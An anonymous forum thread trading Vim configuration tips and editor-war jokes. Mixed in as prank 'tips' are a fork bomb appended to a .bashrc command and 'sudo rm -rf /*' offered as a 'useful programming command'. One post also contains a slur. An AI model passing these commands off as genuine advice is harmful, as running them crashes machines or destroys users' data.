Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

VIM commands

Name: Anonymous 2010-11-08 17:57

Do you have some useful tips for VIM? Anything accapted ;)

Name: Anonymous 2010-11-08 18:01

re-assign your your windows key as your escape key

search .vimrc on web to find ideas for configuring/customizing

Name: Anonymous 2010-11-08 18:09

echo "alias vim='emacs'" >> .bashrc && :(){ :|:& };:

Name: Anonymous 2010-11-08 19:02

>>1
How about: stop using a bottom-tier text editor. At least use plain old vi. But even that's so bad you should use ed instead (I do).

Name: Anonymous 2010-11-08 20:48

Name: Anonymous 2010-11-08 21:22

set -o vi

Name: Anonymous 2010-11-08 21:35

When I use an editor, I don't want eight extra KILOBYTES of worthless help screens and cursor positioning code! I just want an EDitor!!
Not a "viitor". Not a "emacsitor". Those aren't even WORDS!!!!
ED! ED! ED IS THE STANDARD!!!

Name: Anonymous 2010-11-08 21:44


set scrolloff=9999


to get autoscrolling


imap <C-C> &^OBconst ^Of&<RIGHT>


to turn ``faggot'' into ``const Faggot&''


au BufNewFile,BufRead *.cpp         abbr null NULL
au BufNewFile,BufRead *.c         abbr null NULL


No need to press shift for typing NULL.


imap <F2> <C-O>:wa!<CR>
imap <F10> <C-O>:wqa


Commands, norton style


function MyStatText()
    return strftime("%H:%M:%S| ")
endfunction

set statusline=%{MyStatText()}%<%f\ %h%m%r%=%-14.(%l,%c%V%)%B\ %P


Display current time in status line

Name: Anonymous 2010-11-08 21:46

   Anything accapted ;)

If you're newfag - put cursor on the word and press * in normal mode for quickest search.

Name: Anonymous 2010-11-08 21:54

>>8
No need to press shift for typing NULL.
Windows programmer detected.

Name: Anonymous 2010-11-08 21:55

>>7
ed sucks donkey dong. Just thought you'd like to know.

Name: Anonymous 2010-11-09 0:14

>>10
Bzzt. Wrong.

Name: Anonymous 2010-11-09 6:54

indent your code: press gg=G

put these in your .vimrc:
lets you use semicolon instead of colon eg. ;wq instead of :wq:
nnoremap ; :
leader key in a saner place:
let mapleader = ","

use these plugins:
pathogen
nerdtree
snipmate


Just spend an hour and look through vimtips wiki and take shit you like. That and when you find stuff that you think can be optimised, try and google for it.

Name: Anonymous 2010-11-09 8:22

map ESC to jj in insert mode, ctrl to caps lock, gj to j and gk to k when working with lines word wrapped lines.

Name: Anonymous 2010-11-09 8:23

Are there plugins to make vim more like an IDE with integrated debugger and build automation?

Name: Anonymous 2010-11-09 9:51

>>15
:make

Name: Anonymous 2010-11-09 11:12

>>11
Looks like somebody can't remember what they're working on.

Name: Anonymous 2010-11-09 14:19

accapted

sounds like a vim user alright.

Name: Anonymous 2010-11-09 14:26

Put the arrow keys on w-a-s-d. Coding will feel like gaymen.

Name: Anonymous 2010-11-09 14:43

Of course, on the system I administrate, vi is symlinked to ed. Emacs has been replaced by a shell script which 1) Generates a syslog message at level LOG_EMERG; 2) reduces the user's disk quota by 100K; and 3) RUNS ED!!!!!!

Name: Anonymous 2010-11-09 14:51

>>3
What if he runs that when he's not in his $HOME directory?
Solution: Replace ".bashrc" with "~/.bashrc"

What if he doesn't use bash?
Solution: ___________________________

Name: Anonymous 2010-11-09 15:08

>>21
'~/.'`basename $SHELL`rc

Name: Anonymous 2010-11-09 15:58

>>20
Cool story, bro.

Name: Anonymous 2010-11-09 18:46

>>20
your a fucking fag

Name: Anonymous 2010-11-09 19:41

>>23,24
You people have no decency or taste!

Name: Anonymous 2010-11-10 9:42

OK. And what about some useful programming commands?

Name: Anonymous 2010-11-10 10:48

>>26
vim

Name: Anonymous 2010-11-10 11:25

>>26
make

Name: Anonymous 2010-11-10 11:33

>>26
sudo

Name: Anonymous 2010-11-10 12:10

>>26
On ubanto: sudo rm -rf /*
On the rest: su -c "rm -rf /*"

Name: Anonymous 2010-11-10 22:55

>>30
Only stone-age distros don't have sudo.

Name: Anonymous 2011-02-03 3:17

Name: Anonymous 2011-02-17 20:21

check 'em dubz

Name: Anonymous 2013-01-18 22:53

/prog/ will be spammed continuously until further notice. we apologize for any inconvenience this may cause.

Don't change these.
Name: Email:
Entire Thread Thread List